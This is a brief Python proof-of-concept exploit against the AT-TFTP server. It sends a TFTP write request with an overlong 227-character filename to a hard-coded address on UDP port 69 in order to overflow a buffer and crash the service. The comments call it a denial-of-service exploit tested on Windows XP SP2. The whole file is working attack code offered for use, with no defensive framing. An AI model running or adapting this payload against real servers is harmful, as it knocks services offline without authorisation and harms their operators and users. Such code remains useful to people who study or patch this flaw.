AT-TFTP Buffer Overflow (Long filename) Vulnerability Exploit

                                                #!/usr/bin/python
# Buffer Overflow (Long filename) Vulnerability Exploit
# This is just a DoS exploiting code
# Tested on Windows xp SP2
#
# Requires python and impacket
#
# Coded by Liu Qixu Of NCNIPC

import socket
import sys

host = '192.168.1.11'
port = 69

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
except: 
    print "socket() failed"         
    sys.exit(1)

filename = "A" * 227 
mode = "netascii"
data = "\x00\x02" + filename + "\0" + mode + "\0"
s.sendto(data, (host, port))